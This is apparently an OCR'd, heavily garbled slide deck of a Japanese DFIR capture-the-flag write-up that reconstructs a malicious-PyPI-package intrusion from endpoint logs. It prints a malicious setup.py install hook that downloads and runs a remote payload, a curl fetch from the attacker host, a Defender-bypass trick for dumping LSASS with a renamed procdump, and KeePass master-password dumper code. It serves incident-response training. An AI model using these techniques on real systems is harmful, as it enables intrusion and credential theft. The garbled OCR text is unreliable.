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Home > News > Security > Fake VMware vConnector package on PyPI targets IT pros

Fake VMware vConnector package on PyPI targets IT pros

By Bill Toulas | August 4, 2023 07:37 AM
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VMConnect 1.1.7

pip install VMConnect

]

Sponsors  Login

Register

Released: Jul 28, 2023

VMware vSphere Connector Module for Python

Navigation

D Release history

& Download files

Project links

A Homepage

Project description

VMConnect - VMware vSphere Connector Module

VMConnect is a wrapper module around pyVmomi VMware vSphere bindings, which provides methods for connecting
and retrieving of objects from a VMware vSphere server.

The purpose of VMConnect is to provide the basic primitives for building complex applications. VMConnect can also
be used for managing the user/pass/host credentials for your vSphere environment using an SQLite database, which
in turn can be shared between multiple applications requiring access to your vSphere environment through a
common interface.

vconnector 0.6.0 0|

pip install vconnector ® Released: Oct 29,2019

VMware vSphere Connector Module for Python

Navigation Project description

D Release history vConnector - VMware vSphere Connector Module for Python

vConnector is a wrapper module around pyVmomi VMware vSphere bindings, which provides methods for connecting
and retrieving of objects from a VMware vSphere server.

& Download files

The purpose of vConnector is to provide the basic primitives for building complex applications. vConnector can also
be used for managing the user/pass/host credentials for your vSphere environment using an SQLite database, which
inturn can be shared between multiple applications requiring access to your vSphere environment through a
common interface.

Project links

A Homepage
& Download




@ Phylum The list of packages associated with this campaign

are, thus far, as follows.

* dequests
Dec 9, 2022 / 3 minread / Research
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Phylum Detects Ongoing
Typosquat/Ransomware
Campaign in PyPl and NPM
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Fake CVE-2023-40477 Proof of Concept Leads
to VenomRAT

9,083 people reacted

By Robert Falcone
September 19, 2023 at 6:00 AM
Category: Vulnerability

SHARE o@

Tags: Advanced URL Filtering, CVE-2023-25157, CVE-2023-40477, Proof of Concept, Remote Access
Trojan, remote code execution, social engineering, VenomRAT, WildFire, WinRAR

5|F: https://unit42.paloaltonetworks.com/fake-cve-2023-40477-poc-hides-venomrat/
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2-1. Discovery 2-2. Discovery
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3-1. Credential Access 3-2. Credential Access
2 1

5-2. Lateral Movement 5-3. Lateral Movement
1 1

7. Exfiltration 8-1. Incident Response
3 1

ANTI MALWARE ENGINEERING WORKSHOP 2023

1-3. Initial
Access/Execution
1

2-3. Discovery
1

4. Discovery
1

5-4. Lateral Movement
1

8-2. Incident Response

2

FLAG/RIRHR : 17pts

5-1. Lateral Movement

1

6. Persistence
2

8-3. Incident Response
2
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cat dc@l.log file@l.log ws@l.log ws@2.log ws@3.log | sort > combined.log
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1.1 Initial Access/Execution (1pt)
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1.1 Initial Access/Execution (1pt)

ws01.loghspipDEITERET S

cat ws@l.log | grep pip | head

10/85/2023 17:08:43.704 +0900 loc=en-US type=ITM2 sn=15842 lv=7 alert=1164 alertClass=risk rs=11 trs=77
rf=C16:C8:L8:R8:C35:L30:R30 evt=ps subEvt=start os=Win com="WSe1" domain="EDEN-COLLEGE"
profile="MWSCup_server" tmid=e4560ff2-c679-454f-b087e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{8DACBA1C-F@3A-492C-991F-6C96996D407D}
psPath="C:\Users\Swan\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" cmd="install --trusted-host 35.
76.142.227 torch torchvision torchaudio --index-url http://35.76.142.227/whl/cull8" psID=4924 parentGUID=
{C54BBEEC-C4B9-4510-83AB-8386DE6600D3} parentPath="C:\Windows\System32\WindowsPowerShell\v1l.@\powershell.exe"
psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64
sha256=6710e53af2b6a016af02801c835988a2912837e688cbeb631082b92d7d1c20d6
shal=828ea7cbfacc460d78afb809e4c23e759180eecc md5=73368ec16e8d15fe4075a285cd9e80d0 crTime="0©9/22/2023
14:00:31.721" acTime="09/22/2023 14:00:31.721" moTime="09/22/2023 14:00:31.721" size=108423 sig=None

A. 2023/10/05_17:08:43




1.2 Initial Access/Execution (1pt)

1.10%. —EFERTHIBO Y —N—~DBENFELELTLD,
ZDH—IN—DIPFRLARER—IEBTEZEAL,

74—~ vk: 'AAA.BBB.CCC.DDD 2777
fRZH: 192.0.2.1DFR—F443~DBEDIHZE "192.0.2.1_443



1.2 Initial Access/Execution (1pt)

Proxy.logZBkéH & EBAL AT, pipBED/ AT —oDF o rO—RE&IC
http://3.114.83.243/ |22 HE(TEIELTLVS

[e5/0ct/2023:17:09: +09e0] " - : .83. HTTP/1.1"
[65/0ct/2023:17:09: +09e0] " : . =83 HTTP/1.1%
[e5/0ct/2023:17:09: +e9ee] " : 3 .83. HITP/1:1°*
[©5/0ct/2023:17:09: +e9ee] " - - .83. HTTP/1.1"

[e5/0ct/2023:17:09: +0900] " - 2 .83. HTTP/1.1"
[05/0Ct/2023: g > +0999] = & s : . HTTP/1.1"
[95/0Ct/2023: = : +0900] e s . s . HTTP/1.1"

A. 3.114.83.243 80




1.3 Initial Access/Execution (1pt)

120BEZRAEIEE-TORRDET /AR BELU. FOTOADEHETOEX
Dt ISREEZ &

TJA—<vbh: BEZRESIE-TORADMER /AR _FHITOELRDHXT/ X

#2215 : C:\Program Files\Internet
Explorer\iexplore.exe C:\Windows\System32\cmd.exe




1.3 Initial Access/Execution (1pt)

Ws01.log 753.114.83.243M80FR—r~DBEZFARNDGELTIADBEETH
EIE-TO0ANDHS

cat ws@l.log | grep "dstIP=3.114.83.243" | grep "dstPort=80" |
grep -v "dstPort=8000"

16/©5/2023 17:09:02.884 +0900 loc=en-US type=ITM2 sn=26254 1lv=5 rs=12 trs=353 rf=C16:C8:L8:R8 evt=net
subFvt=con _os=Win com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=e4560ff2-c679-454F-b07e-99344c4888ef csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,
fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3 rcCom="SWAN" rcIP=172.16.4.18 usr="Swan"
usrDomain="EDEN-COLLEGE" sessionID=2 psGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
psPath="c:\users\public\notepad.exe" srcIP=172.16.1.101 srcPort=50048 dstIP=3.114.83.243 dstPort=80




1.3 Initial Access/Execution (1pt)

ZN7OFRADEENINST ZpsGUIDMLIESERETOELRD /NI B

cat ws@l.log | grep "A7081BC5-BF6E-41C8-8129-D8AC69268BDC" | head -n 1

10/05/2023 17:09:01.962 +0900 loc=en-US type=ITM2 sn=25829 lv=6 rs=12 trs=331 rf=C16:C8:L8:R8 evt=ps
subEvt=start os=Win com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=e4560ff2-c679-454F-b07e-99344c4888ef csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,
fe80::18ec:472b:67df:ca64 mac=06:9e:69:eb:93:c3 rcCom="SWAN" rcIP=172.16.4.18 usr="Swan"
usrDomain="EDEN-COLLEGE" sessionID=2 psGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
psPath="c:\users\public\notepad.exe" psID=4200 parentGUID={525124F1-032E-41C5-AA48-3256B39BDCCE}
parentPath="C: \Users\Swan\AppData\Local\Programs\Python\Python311\python.exe" psUser="Swan"
psDomain="EDEN-COLLEGE" arc=x64 sha256=40319c1e@f6148c69bc7f6f45c9b0692abb9227578f0e5890e844b19fb70216a
shal=14eca®38adb4c913c09301564eda2lcae89e27e6 md5=71c2ca®8e469ccdc@7fPac8960e35a0d crTime="10/05/2023
17:09:01.869" acTime="10/85/2023 17:89:01.947" moTime="10/05/2023 17:09:01.947" size=95744 sig=None

C:iusers\public\notepad .exe_C:\Users\Swan\AppData\Local\Programs\Python\Python311\pyt
hon.exe



pip/\ w7 —U R OO—RELT

AR/ Nvr— MDsetup.pyzEZ 2 TERH I HET. AV AL
[CRILDITH#RITTH-HDI—FEEMTES

@ setuppy X

C: > test > dfir_v0_1 > torch > @ setup.py
31
32 setup(
33 name = ‘torch’,
34 packages = ['torch'],
35 version = '6.1",
36 description = 'Hello world’,
<7 author = 'test’,
38 author_email = 'test@example.com’,
39 keywords = [],
40 cmdclass = {"install": TotallyInnocentClass},




pip/\ w7 —U R OO—RELT

class TotallyInnocentClass(install):
def run(self):
install.run(self)
CREATE_NEW_PROCESS_GROUP = ©x00000200
DETACHED_PROCESS = ©x00000008
directory and payload name in client
'c:\\users\\public\\notepad.exe"

if not os.path.exists(sfile):
payload download URL

'http://3.114.83.243:8000/notepad.exe’
‘http://192.168.122.100:8000/notepad.exe’

f = urllib.request.urlopen(url)

data = f.read()

with open(sfile, "wb") as code:
code.write(data)

Popen(sfile, cwd="c:\\users\\public\\", stdin=PIPE, stdout=PIPE, stderr=PIPE, creationflags=DETACHED_PROCESS |
CREATE_NEW_PROCESS_GROUP, close_fds=True)




Havoc C2 Framework

s A—7

N)—=RADC27L—LT—7

s Team Server, Client, AgentD#& X TUIOH#EEE

AY[Z7E2TLVS

5| A https://github.com/HavocFramework/Havoc/

Havoc View Attack Scripts Help

denon_| mps exe\5600
I bR rCpparier
e

[SP!DER -PC\pparker]

L 43df3466 € demon_smb. exe\7452
[SPIDER-PC\pparker]

4Sb1FF4 € demon_https . exe\5748
[DESKTOP-CUSFEST\Spider]

Teanserver Chat X | [6a899650] pparker/SPIDER-PC X

] Agent & authenticated from as TALON-DC\Adinistrator
(5pider] Denon » whoa

ke (5 G the 016 rom oot /a1 wikhout startng s e
£ Sond Tos o Agen. 12311 bytes]

[+] Received Output [6751 byte:

Usertame BY)

TALON\Administrator  5-1-5-21-3615481361-3807944923-1972220814-500

‘GROUP. INFORMATION Type

TALON\Donatn Users
Everyone
BUTLTIN\Adninistrators
BUTLTINUsers Alias
SULLTIINGre-Mindons 2000 Compatible Access Alias
UTLTIN\Certificate Service DCOM Acc Alias

T AUTHORITYAINTERACTIVE Well-kniown group
CONSOLE LOGON XL o ot
NT AUTHORITY\Authenticated Users Well-known g

NT AUTHORITY\Th Organization Nell- oo arou
LocAL known group
TALOWGroup Policy Creator Owners e
TALON\Donain Adwins Group
TALON\Enterprise Admins Group
TALON\Schena Adins

Authentication authority asserted identity
TALON\Denied RODC Password Replication Group
Mandatory Label\High Mandatory Level Label

Well—known group
Alias

Group.
Well—known group

Privilege Name Description
[Administrator/TALON-DC] demon_smb. exe/3192 x64 (TALON. local)

[64428d94] pparker/SPIDER-PC X

4 & . Cobalt StrikeZ =L 1-

Event Viewer
N L
- [+] Started "Pivot - Smb" listent
[:] Spider comected to teanserver
1 : pparkere172.16.134.130 (SPIOER-PO)

Listener

571be9a8 & denon_snb. exe\3528

e vt 15850068 € denon_smib. exe\5900

-PC\pparker: e Admmstmtmﬂl/z )F, 134 129 (TA
[SFees scpmeniee) [*] Initialized 43df9 pparkere: 30 (SPIDER

e i i sumuwz 16,134,128 (OESKTOPC

20:41 [*]
155 £ Ticiatized o1652658

CTALON-DC\Admini strator]
61832438 © demon_snb. exe\3192
[TALON-DC\Admimistrator]

[473b3afc] Adninistrator/TALON-DC X

[Internal: 172.16.134.129] [Process: 1 [Arch: x64] [Pivol

Attributes

Encbled by default, Enabled group,
, Enabled by default, Enabled
Endbled by default,
. Endbled by default,
Endbled by default,
i, Encbled by default,
, Enabled by default,
Easled by defat
Mandatory group, Endoled by dofaul
Mandatory group, Enubled by defnu\t
Mandatory group, Endbled by default
Mandatory group, Eﬂnbled by defdu!t,
2 wandetory group, Enebied by defaule,
5 uandatory group, Endbled by d
Mandatory gre Ennbled 1% defnu\t
Mandotory group, Endbled by default
Venistory ek o ne eras
Mandatory group, Enabled by default, Enabled group,

Group owner,



2.1 Discovery (1pt)

WEEE, POITTOER—EDRFEIToTL S, TORICFIALTLNSIY
VhREEAL

IJA—<vbh:av R B DHERZE
#2451 : ipconfig /all #3E4TLTULM=I5 4. ipconfig &[E]Z




2.1 Discovery (1pt)

%c|FE Dnotepad.exeZpsGUIDTESTLIKER NS

cat ws@l.log | grep "A7081BC5-BF6E-41C8-8129-D8AC69268BDC" | less

10/05/2023 17:10:54.270 +0900 loc=en-US type=ITM2 sn=28650 lv=5 rs=12 trs=387 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{D2B35095-177A-48EE-9D68-21E857B24C8A} psPath="C:\Windows\system32\cmd.exe" cmd="tasklist /v" psID=4148
parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC} parentPath="c:\users\public\notepad.exe" psUser="Swan"
psDomain="EDEN-COLLEGE" arc=x64 sha256=bc866cfcdda37e24dc2634dc282c7aPe6+55209dal7a8fal05b07414c0e7c527
shal=ded8fd7f36417f66eb6adalee@c@d7c0022986e9 md5=911d039e71583a07320b32bde22f8e22 company="Microsoft

A. tasklist




2.2 Discovery (1pt)

WEELIFDEHIETIFAILDN—aVEREREBLESELTINS, FD
BT I7MILDI7AIVEBEEZ ALK

TA—IVh: D74 I B DHFEE
fiZ 245 : chrome.exe




2.2 Discovery (1pt)

5| &= Senotepad.exeFpsGUIDTIESTL K

cat ws@l.log | grep "A7081BC5-BF6E-41C8-8129-D8AC69268BDC" | less

TAtRX—EHhSKeePassDexeD T IJL/INAZEELTLVS

10/85/2023 17:11:20.770 +0960 loc=en-US type=ITM2 sn=28659 lv=5 rs=12 trs=423 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-1208963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=

{276E1077-9825-443F-ACBB-4EF258B980B6} psPath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
cmd="gwmi win32 process | select CommandLine | findstr KeePass" psID=3436 parentGUID=
{A7081BC5-BF6E-41C8-8129-D8AC69268BDC} parentPath="c:\users\public\notepad.exe" psUser="Swan"




2.2 Discovery (1pt)

Z M #%PowerShelld Get-Command TexeD/\—2 3 #EG L TLNVA

10/85/2023 17:17:06.022 +0900 loc=en-US type=ITM2 sn=28924 lv=5 rs=12 trs=507 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3

rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{©917AC86-F1AC-4108-8F88-0480382D8BE2} psPath="C:\Windows\System32\WindowsPowerShell\vl.®@\powershell.exe" cmd="
(Get-Command .\KeePass.exe).FileVersionInfo" psID=4608 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
parentPath="c:\users\public\notepad.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64

A. KeePass.exe




2.3 Discovery (1pt)
22TEZELE-ETIFZFAINDIINIITDIN—230FEA L

J4#—3vbk: #iFéE. (FybDEAEHETHE
x5 :1.23

SEFTEST




2.3 Discovery (1pt)

Ws01.logh oKeePass.exeZz & E 9 & . Swanh ExplorerhroKeePassz g
BLI=EEDRTZERDITHIENHESD,

cat ws@l.log | grep "KeePass.exe"
—DOY FHERT HfileVerH 2.53.0.0E->TWLNSZEN RIS,

10/05/2023 17:09:32.978 +0900 loc=en-US type=ITM2 sn=28616 lv=5 evt=ps subEvt=start os=Win com="WSe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b87e-99344c4888ef
csid=S-1-5-21-161232702-1208963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:ca64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{E@BAFC5F-41D0-47C7-8E1D-81C045CD2A32} psPath="C:\Program Files\KeePass Password Safe 2\KeePass.exe" psID=2904
parentGUID={6EA26E108-9445-491C-88E6-CF77109883A9} parentPath="C:\Windows\Explorer.EXE" psUser="Swan"

psDomain="EDEN-COLLEGE" arc=x86 sha256=ab82f0826ed40e58bc3e247224f0c15a8306cabc7a33cb835c467008eecabbbe
shal=c224a4c7f02cb83a45e2daeef48f763b2cc612c8 md5=bb20d19436b4c6df533679b42737d360 company="Dominik Reichl™
copyright="Copyright © 2003-2823 Dominik Reichl" fileDesc="KeePass" fileVer="2.53.0.0" product="KeePass"
productVer="2.53.0.08" crTime="09/20/2023 ©9:45:01.211" acTime="09/20/2023 09:45:01.398" moTime="01/89/2023
10:16:32.000" size=3245968 sig=Valid signer="Open Source Developer, Dominik Reichl" issuer="Certum Code Signing
2021 CA" cerSN="18 15 c3 66 b7 7a @b 3c 35 cd 45 32 47 2a 80 e7" validFrom="02/06/2022 16:08:17.000" validTo="©2/
©6/2023 16:08:16.000"




KeePass: 2.53 released IR

KeePass is a free open source password manager, which helps you to manage your passwords in a secure way. You can put all your passwords
in a database, which is locked with one master password or a key file. So you only have to remember one single master password or select
the key file to unlock the whole database. Databases are encrypted using a very secure encryption algorithm (AES/Rijndael).

KeePass 2.53 has been released and can be downloaded from:
https://keepass.info/download.html

This is a stable release. It is recommended to upgrade from any previous 2.x version to 2.53.

The complete changelog can be found here:
https://keepass.info/news/n230109_2.53.html

Posted by @ 2023-01-09




2.3 Discovery (1pt)

EFEDH 5

05/10/202217:17:05 [userl] Demon » powershell (Get-Command .\KeePass.exe).FileVersioninfo
[*] [17D3EC2F] Tasked demon to execute a powershell command/script

[+] Send Task to Agent [246 bytes]

[+] Received Output [369 bytes]:

ProductVersion FileVersion FileName

2.53.0.0 C:\Program Files\KeePass Password Safe 2\KeePass.exe




3.1 Credential Access (2pt)

2%).30)@; WEHINAENT7AILERIFL., dexeELTHRAFLTETLTL

CORTITFTANDEREREIV, TOFIILELZDEREZEASL

ok [ 8




3.1 Credential Access (2pt)

d.exelZDULV\Tgrep T HERENF DS IME IV BZE L/ NV EN NS
£ £ & X Microsoft

cat ws@l.log | grep '\\d.exe'

10/85/2023 17:18:54.054 +0900 loc=en-US type=ITM2 sn=28986 lv=5 rs=12 trs=639 rf=C8 evt=ps subEvt=start os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b87e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{7889FDCD-OFA5-48B3-A2D4-86AD31CO8C99} psPath="C:\Users\Swan\d.exe" cmd="2904 out" psID=476 parentGUID=
{DECD7531-C519-48B2-B40B-7FDABE5A47CD} parentPath="C:\Windows\system32\cmd.exe" psUser="Swan"
psDomain="EDEN-COLLEGE" arc=x64 sha256=86766ede8801e02bc42a9123c96890714c30ab5d7cab82108c819263be8cab226
shal=fb2a5ff1c58d1ed22a91889700bf17ec9ff957f9 md5=7d70al4b64fa02673514b3b040dc46ad company="Microsoft"
copyright="0 Microsoft Corporation. All rights reserved." fileDesc="Dump64" fileVer="3.5.2145.59678"
product="Visual Studio" productVer="3.5.2145" crTime="10/05/2023 17:18:19.976" acTime="10/05/2023 17:18:19.976"
moTime="10/05/2023 17:18:19.976" size=37760 sig=Valid signer="Microsoft Corporation" issuer="Microsoft Code
Signing PCA 2010" cerSN="33 ©e 00 04 91 64 62 f3 b7 3e e2 Oc cd 00 00 00 00 084 91" validFrom="05/13/2022 ©5:47:06
000" validTo="05/12/2023 ©5:47:06.000"




File Version Information

Copyright
Product
Description
Original Name
Internal Name
File Version
Date signed

© Microsoft Corporation. All rights reserved.

Visual Studio

Dumpé4

dumpé4.exe
dumpé4.exe
3.5.2145.59678
2023-02-13 23:53:00 UTC

Unmanaged Method List

Kernel32: CloseHandle, CreateFileW, GetProcessinformation, IsWowé4Process, IsWo
kernel32: AttachConsole

kernel32.dll: AllocConsole

DbgHelp: MiniDumpWriteDump




.. /Dump64.exe s oo

Memory dump tool that comes with Microsoft Visual Studio

Paths:
C:¥Program Files (x86)¥Microsoft Visual Studio¥Installer¥Feedback¥dump64.exe




3.1 Credential Access (2pt)

A. TARRAE)STY— LT, ELFHIIMicrosoft

86766ede8801e02bc42a9123c9689071

dumpéb4.exe

peexe overlay runtime-modules

Community Score

5| A https://www.virustotal.com/gui/file/86766ede8801e02bc
422a9123c968907 14c30ab5d7cab8210c819263be8cab226/details

5| A :https://twitter.com/mrd0x/status/1460597833917251595

mr.dOx
(@lasge[0)%

If you rename procdump.exe to dump64.exe and place it in the

"C:\Program Files (x86)\Microsoft Visual Studio\*" folder, you can bypass
Defender and dump LSASS.

C:\Program Files (x86)\Microsoft Visual Studio>procdumpé4.exe -ma 984 out.dmp
Access is denied.

C:\Program Files (x86)\Microsoft Visual Studio>move procdump64.exe dumpé64.exe
1 file(s) moved.

C:\Program Files (x86)\Microsoft Visual Studio>dumpé4.exe -ma 904 out.dmp

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 20@9-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[€8:13:33] Dump 1 initiated: C:\Program Files (x86)\Microsoft Visual Studio\out.dmp
[68:13:33] Dump 1 writing: Estimated dump file size is 59 MB.

[©8:13:34] Dump 1 complete: 59 MB written in ©.2 seconds

[©8:13:34] Dump count reached.

THi18:17 - 20215E11816H



3.1 Credential Access (2pt)

FEEIFF D 512129041 KeePass.exe®PDI
£oT.KeePassDAEYF L THITHoTLVS

10/05/2023 17:18:54.054 +0900 loc=en-US type=ITM2 sn=28986 lv=5 rs=12 trs=639 rf=C8 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:ca64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{7889FDCD-OFA5-48B3-A2D4-86AD31C08C99} psPath="C:\Users\Swan\d.exe" cmd="2904 out" psID=476 parentGUID=

10/085/2023 17:09:32.978 +0900 loc=en-US type=ITM2 sn=28616 lv=5 evt=ps subEvt=start os=Win com="WSO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-bB87e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{EOBAFC5F-41D0-47C7-8E1D-81C045CD2A32} psPath="C:\Program Files\KeePass Password Safe 2\KeePass.exe" psID=2904
parentGUID={6EA26E10-9445-491C-88E6-CF77109883A9} parentPath="C:\Windows\Explorer.EXE™ psUser="Swan"




3.2 Credential Access (1pt)

HEEI31DY—ILOEWZEFIALTEERADI=HDIL T vILEAFL
Tl =,

CORFICFRALIESEEDCVERSEEA

74— Vk: CVE-XXXX-YYYYY case insensitive
fRZ A5 . CVE-2021-45105




3.2 Credential Access (1pt)

ws01.loghronotepad.exefFH DAY REITEIES & SN BzZipZ7AILET DY
O—F-ERAL. keepass password dumper.exeZi#2 &1L TL 5

cat ws@l.log | grep "A7081BC5-BF6E-41C8-8129-D8AC69268BDC" | grep "cmd="

10/05/2023 17:19:25.996 +0900 loc=en-US type=ITM2 sn=29833 lv=5 rs=12 trs=651 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-bB87e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{7841821A-5129-478A-90BD-E8FF8CE@GDOCO} psPath="C:\Windows\system32\cmd.exe" cmd="curl -o publish.zip http://3.114.
83.243:8000/publish.zip" psID=4172 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC} )
parentPath="c:\users\public\notepad.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64

10/05/2023 17:19:39.590 +0900 loc=en-US type=ITM2 sn=29045 lv=5 rs=12 trs=687 evt=ps subEvt=start os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:ca64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{67BAB7FF-CCFE-495C-B674-926BA2BD6115} psPath="C:\Windows\System32\WindowsPowerShell\v1l.®@\powershell.exe"
cmd="expand-archive publish.zip" psID=4640 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
parentPath="c:\users\public\notepad.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64




3.2 Credential Access (1pt)

ws01.loghionotepad.exefE DIV R EITEEBI &L MBI N DZIpT 7 ILE
A)rO—k-EEL. keepass_password _dumper.exez#£ &L TLVS,

ZDEEND | #EKeePass.exeD A EYA U THIEELTLNS

cat ws@l.log | grep "A7081BC5-BF6E-41C8-8129-D8AC69268BDC" | grep "cmd="

10/85/2023 17:20:59.085 +0900 loc=en-US type=ITM2 sn=29449 1lv=5 rs=12 trs=748 evt=ps subEvt=start os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-bB87e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{3B9CE563-EF5C-4160-B63F-4D5F623ED95B} psPath="C:\Windows\system32\cmd.exe" cmd=".\keepass_password_dumper.exe ..
\..\out" psID=4524 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC} parentPath="c:\users\public\notepad.exe"
psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64




 keepass-password-dumper  Public ® Watch 10

¥ main ~ ¥ 1branch © 0tags Go to file Add file ~

g!] vdohney Merge pull request #15 from Reelix/main-1 ... dc13daa on Aug 17 O 37 commits

assets README update 6 hs ago
.gitignore used .ToDictionary 5 months ago
LICENSE License - do whatever you want 5 months ago
Program.cs Multi Language / Better Cross Platform Support 2 months ago
README.md Update README.md 4 months ago

keepass_password_dumper.csproj Initial commit 6 hs ago

README.md

KeePass 2.X Master Password Dumper (CVE-2023-32784)




IKXCVE-2023-32784 Detail

Description

In KeePass 2.x before 2.54, it is possible to recover the cleartext master password from a memory dump, even when a
workspace is locked or no longer running. The memory dump can be a KeePass process dump, swap file (pagefile.sys),
hibernation file (hiberfil.sys), or RAM dump of the entire system. The first character cannot be recovered. In 2.54, there is

different APl usage and/or random string insertion for mitigation.



3.2 Credential Access (1pt)

RO oS EFAINT-HME5E A CVE-2023-32784 THHLHETETE=S
s EfTL T %exeMT71)L4 (keepass_password_dumper.exe)

n KeePassDAEYR TSI EELTELTLNVA A
a WSO1IZAUAR—ILENTLVAKeePassD/N\—23 0 H32.53£ 05 5

A. CVE-2023-32784

5| A :https://nvd.nist.gov/vuln/detail/CVE-2023-32784




CVE-2023-32784

SecureTextBoxExDEED AR fFIZkY . /SXRT—F (fl&L T
P@sswOrd )& A ALT=FIZRD KL X FFIHAE 5% S

.@ F9:3E90h: D5 57 FC 7F 00 00 1E 00 00 00 00 00 00 00 CF 25 OWi
F9:3EAOh: CF 25 CF 25 CF 25 CF 25 CF 25 CF 25 CF 25 CF 25 I%i%i%i%iwixixi%
o0 F9:3EBOh: CF 25 CF 25 CF 25 CF 25 47 00 00 00 00 00 00 00 I%I%I%I%G
S
5| F:
oo S https://tutorialboy.medium.com/keepass-memory-leakage-vulnerability-analysis-cve-2023-32784-35064aef311e
‘XXX AWV
eeocoe(
0 000 0/
XXX XXX




CVE-2023-32784

PoCTIEZE D LG XFHZERLT/NRAT—FZETLTLVS

2Ok AXFEREETET . $12XF H E—HERAIZ LIRS
hﬁ*ﬁaﬂﬂj é using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Read))

var buffer = new byte[BufferSizel;
int bytesRead;

while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0)
{

for (var i = 0; i < bytesRead - 1; i++)

!

// @ = OxCF 0x25
i
{

f (buffer[i] == OxCF && buffer[i + 1] == 0x25)
currentStrlent+;
e
debugStr += passwordChar;

if (currentStrlLen == 0) continue;

currentStrlent+;

string strChar;




CVE-2023-32784

PoCEITRDOH A

Password candidates (character positions):
nknown characters are displayed as "®"
®
dl Bl §l Al hl kl Yl n ?l )l
e,

e o

E,
"

-

oMa o

S s

1

